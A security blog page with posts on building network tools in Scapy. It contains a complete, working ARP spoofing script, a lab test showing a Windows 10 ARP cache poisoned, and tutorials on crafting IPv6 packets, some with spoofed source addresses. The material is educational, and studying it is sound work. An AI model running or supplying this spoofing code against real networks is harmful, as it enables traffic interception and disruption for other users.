Sunday, January 10, 2016

Interested in Learning Intrusion Detection in Depth?

I'll be teaching SANS 503 at Community SANS Ottawa, ON | Mon Mar 7 - Sat Mar 12, 2016. Come spend some time with us as we go through packet analysis, log analysis along with understanding tools such as Wireshark, Snort, BRO, etc.

Register now at "https://www.sans.org/community/event/sec503-ottawa-07mar2016-nik-alleyne" and save.

Building your own tools with Scapy & Python - ARP Spoofing

A while back I did this blog post on creating DNS Spoofing tool using Scapy. For some strange reasons, it is one of my more popular blog posts. I thought since this is a well liked post, maybe I should do one on ARP spoofing. So this post addresses that. Consider this post as Building your own tools with Scapy & Python part 2

Since Address Resolution Protocol (ARP) is a broadcast protocol, it is possible for us to easily fake ARP replies by simply listening for ARP requests.
In this post, we will develop the code and in this post, we evaluate whether or not it works.



-------  BEGINNING OF CODE ------


 #!/usr/bin/env python
# Author: Nik Alleyne
# Author blog: securitynik.blogspot.com
# Contact: nikalleyne at gmail.com
# arpSpoof.py
# This code is simply for demonstration and education purposes
# if you use this code for anything malicious or you cause disruption
# to your environment or any other, in NO WAY AM I RESPONSIBLE!

from scapy.all import ARP, IP, sniff, send
from subprocess import call
from sys import exit, argv


# Print some basic usage information
def usage():
    print(' ./arpSpoof.py - author:Nik Alleyne - securitynik.blogspot.com ')
    print(' ./arpSpoof.py interface_to_listen_on ip_address_to_listen_for mac_you_would_like_to_use ')
    print(' eg. ./arpSpoof.py eth0 192.168.0.200 01:02:03:04:05:06')
    exit(0)


# This function listens for the ARP request and builds the response
def listen_and_build(src_intf, target_ip, my_mac):
    # Adding a variable named 'some_data' to make it interesting
    some_data = "Hey there watch me ride on ARP ;-) - securitynik"
  
    # using this list I will compare each byte within the protocol destination address
    # I needed to do this to ensure I keep the sniff filter as tight as possible
    pdst = []
  
    # The IP entered on the command line is being separated by the '.'
    pdst = target_ip.split('.')

    print(' Listening for ARP request for \'%s\' ... ' %target_ip)
  
    # Let's sniff for our ARP packet
    # To keep the filter as tight as possible, let's only capture ARP Requests
    # Take a look at 'http://securitynik.blogspot.ca/2015/12/a-few-not-so-basic-windump-examples.html' \
    # for the better understanding of the filter value
    get_arp_request = sniff(iface=src_intf, filter='arp[6:2] & 0x0F=0x01 and arp[24] & 0xFF='+ pdst[0] +' and arp[25] & 0xFF='+ pdst[1] +' and arp[26] & 0xFF='+pdst[2]+' and arp[27] & 0xFF='+pdst[3], count=1)
  
    # Uncomment the line below to verify the packet is captured
    #print(get_arp_request)

    # extract the IP of the host sending the request
    received_arp_ip_src = get_arp_request[0].getlayer(ARP).psrc

    # extract the MAC address of the host sending the request
    received_arp_hw_src = get_arp_request[0].getlayer(ARP).hwsrc

    # extract the destination which is being searched for
    received_arp_ip_dst = get_arp_request[0].getlayer(ARP).pdst
  
    print(' \n Found ARP Request ... ')
    print(' source host \'%s(%s)\' looking for destination host \'%s\'  ' %(received_arp_ip_src,received_arp_hw_src,received_arp_ip_dst))
  
    print(' \n Building your fake ARP reply ...')

    # start building the spoofed ARP request
    send_arp_reply = ARP()

    # Specify hardware type as Ethernet - let's use the value from the ARP request
    send_arp_reply.hwtype = get_arp_request[0].getlayer(ARP).hwtype

    # Specify the protocol type as IP - using the value from the ARP request
    send_arp_reply.ptype = get_arp_request[0].getlayer(ARP).ptype

    # Specify the Ethernet destination/source length. This is 48 bits or 6 bytes. Using values from ARP request
    send_arp_reply.hwlen = get_arp_request[0].getlayer(ARP).hwlen


    # Specify your protocol length. IPv4 is 32 bits or 4 bytes. Using values from ARP request
    send_arp_reply.plen = get_arp_request[0].getlayer(ARP).plen

    # Specify the OP code. In this case we use 2 since this is an ARP reply
    # This is probably the most important line of our code
    send_arp_reply.op = 0x02

    # Specify the MAC address which you would like to send
    # Let's take this from the command line. This is the 3rd opiton in the commane line argument
    send_arp_reply.hwsrc = my_mac

    # Specify your IP, or the IP would like to send to the requester.
    # Whatever is requested in the ARP request, we will send back in the ARP reply
    send_arp_reply.psrc = received_arp_ip_dst

    # Specify MAC of the host that should receive this reply.
    # We can take that from the request packet
    send_arp_reply.hwdst = received_arp_hw_src

    # specify the destination IP of the receiving host
    # once again we  can take this from the request
    send_arp_reply.pdst = get_arp_request[0].getlayer(ARP).psrc

    print(' sending your fake ARP reply .... ')
    print(' Reply from \'%s(%s)\' to requester \'%s(%s)\' ' %(send_arp_reply.psrc,send_arp_reply.hwsrc,send_arp_reply.pdst, send_arp_reply.hwdst))
    send(send_arp_reply/some_data, count=3)

    # Uncoment the line below if you would like to see your entire ARP reply packet
    #print(send_arp_reply.show())



def main():
    call('clear')
    if ( len(argv) != 4 ):
        usage()
    # Let's read the values used at the commanline to make our tool work
    listen_and_build(argv[1].strip(),argv[2].strip(), argv[3].strip())


if __name__ == '__main__':
    main()


--------- END OF CODE --------- 

So at this point you maybe asking ... but Nik how do we know this works?! ... and this is where I say I'm glad you asked ;-).


Let's look at the next post to verify this works as expected.



Download arpSpoof.py tool

Reference:
https://tools.ietf.org/html/rfc826
http://www.secdev.org/projects/scapy/

Building your own tools with Scapy & Python - ARP Spoofing - code testing

In this post, an ARP Spoofing tool was created. However, creating the tool is one thing, ensuring it works as expected is another. In this post we take a look at validating that the tool works.

First thing to note is that the tool needs "admin" level privileges to work.

Additionally, while we are "listening" for a specific request, we will run tcpdump and or wireshark to assist with our validation.

Let's load "arpSpoof.py"
When "arpSpoof.py" is executed without "appropriate" arguments it brings up the "usage" screen.


To ensure you can capture the ARP request let's add an interface, an IP to listen for and a MAC address to spoof.

./arpSpoof.py eth0 192.168.0.91 AA:BB:CC:DD:EE:FF

From above:
eth0 - is the interface we will listen on
192.168.0.91 - IP for which the ARP is being requested for
AA:BB:CC:DD:EE:FF - The MAC address we would like to assign for 192.168.0.91


Testing from Windows 10
Before we attempt to verify that it works, let's see what we have in the ARP cache and results from "ping"

From the above, we see there is no entry in the ARP cache and when we try to ping, it states "Destination host unreachable".
Continuing with the arguments which were earlier used above, we can now execute our command which will allow the tool to listen for the ARP request.




Now that we are "listening". Let's send a "ping" which will force an ARP request.

From above we see that our "ping" results in "Request timed out" as opposed to the previous message "Destination host unreachable". Additionally, we see that we have managed to provide the MAC address of "aa-bb-cc-dd-ee-ff" for host "192.168.0.1" and that this information has been successfully added to the Windows 10 computer ARP cache.


Note, there can be many reasons why it states "Request timed out" and not an actual "ping" reply. One of these could be a firewall. However, the objective of this post is not to verify all of that but to show how we can spoof the ARP reply and poison the ARP cache of the requesting host.


Taking a look at the packet in Wireshark, we see the following:



Above we see 1 request for "192.168.0.1" being asked for by "192.168.0.30". We then see our 3 responses claiming that
"192.168.0.1" is at "aa:bb:cc:dd:ee:ff".

Additionally, we can verify this is our response by taking a look at the data which was sent in the ARP reply.

Hope you enjoyed!

Saturday, January 2, 2016

Crafting your first IPv6 ICMPv6 Echo Request packet, with a taste of scapy

This post is a quick attempt to show how you can use scapy to craft an IPv6 packet.

To verify that this works we will first configure a host running Windows 10 to use a site local address "fec0::4/64" and our Linux host to use site local "fec0::2/64"

The image below shows our Windows 10 site local configuration

Image below shows our Linux host IPv6 site local configuration
Now that we have our two hosts configured let's go ahead and craft our packet to test connectivity.

Moving along!!

Let's craft our own ICMPv6 echo request, so that we can received an echo reply packet from our target.

Let's first build our IPv6 layer. However, before we move ahead, let's see what fields we have available to us for the IPv6 header in scapy.


Now that we know our fields, let's build our IPv6 header out by specifying our source of "fec0::02", our destination "fec0::04" and a "nh" or next header field of "58" which represents ICMPv6.









With our built out IPv6 header, let's now build our ICMPv6 echo request.


Let's first look at the fields which scapy provides for us to use to create our own ICMPv6 echo request.










Now that we know what we need to use, let's fill out our fields.

Now that we have filled our fields out, let's send our packet along its merry way. Wireshark will be running simultaneously on the target.

Above we see we sent one packet. Let's see if our target accepted and sent a reply.


Awesome! It looks like we've successfully crafted and sent an ICMPv6 echo request packet along its merry way. We also see that the host at "fec0::4" replied to our request with a reply.


See this post if you would like to craft an IPv6 TCP packet and this post if you would like to craft an IPv6 UDP packet.

Crafting your first IPv6 UDP packet, with a taste of scapy

This post is a attempt to show how you can use scapy to craft an IPv6 UDP packet.

To verify that this works we will first configure a host running Windows 10 to use a site local address "fec0::4/64" and our Linux host to use site local "fec0::2/64"

The image below shows our Windows 10 site local configuration

Image below shows our Linux host IPv6 site local configuration
Now that we have our two hosts configured let's verify that these can ping each other. Just so we know that connectivity works with normal communication let's "ping6" host "fec0::4" from host "fec0::2".

Image below shows the ping has been successful







Looks like we are good to go!

Moving along!!

Let's craft a UDP packet. We will use TCP source port 9002 and destination port 123.

Let's first build our IPv6 layer. However, before we move ahead, let's see what fields we have available to us for the IPv6 header in scapy.














Now that we know our fields, let's build our IPv6 header out by specifying a spoofed source of "fec0::0a", our destination "fec0::04" and a "nh" or next header field of "17" which represents UDP.








Let's now build our UDP header. Nothing special here, this is your typical UDP header.









Let's finally add some data just to make it interesting. We will just create a variable named "data" and add some text.



Now that we have it all, let's put it together and send our packet along it's merry way! On the target host we will also be running Wireshark to ensure the packet is received on the Windows 10 system.


From above, we see 1 packet was sent. Let's see what the Windows 10 host received.

Awesome! It looks like we've successfully crafted and sent an IPv6 UDP packet along its merry way.

See this post for crafting your first IPv6 TCP packet and this for your first ICMPv6 packet.

Crafting your first IPv6 TCP packet, with a taste of scapy

This post is a quick attempt to show how you can use scapy to craft an IPv6 TCP packet.

To verify that this works we will first configure a host running Windows 10 to use a site local address "fec0::4/64" and our Linux host to use site local "fec0::2/64"

The image below shows our Windows 10 site local configuration

Image below shows our Linux host IPv6 site local configuration
Now that we have our two hosts configured let's verify that these can ping each other. Just so we know that connectivity works with normal communication let's "ping6" host "fec0::4" from host "fec0::2".

Image below shows the ping has been successful






Looks like we are good to go!

Moving along!!

Let's craft a TCP packet. We will use TCP source port 9001 and destination port 445.

Let's first build our IPv6 layer. However, before we move ahead, let's see what fields we have available to us for the IPv6 header in scapy.

Now that we know our fields, let's build our IPv6 header out by specifying a spoofed source of "fec0::09", our destination "fec0::04" and a "nh" or next header field of "6" which represents TCP.









Let's now build our TCP header. Nothing special here, this is your typical TCP header.







Let's finally add some data just to make it interesting. We will just create a variable named "data" and add some text.



Now that we have it all, let's put it together and send our packet along it's merry way! On the target host we will also be running Wireshark to ensure the packet is received on the Windows 10 system.

Putting together our packet and sending it along its way.

From above, we see 1 packet was sent. Let's see what the Windows 10 host received.


Awesome! It looks like we've successfully crafted and sent an IPv6 TCP packet along its merry way.

See this post for crafting your first IPv6 UDP packet and this for your first ICMPv6 packet.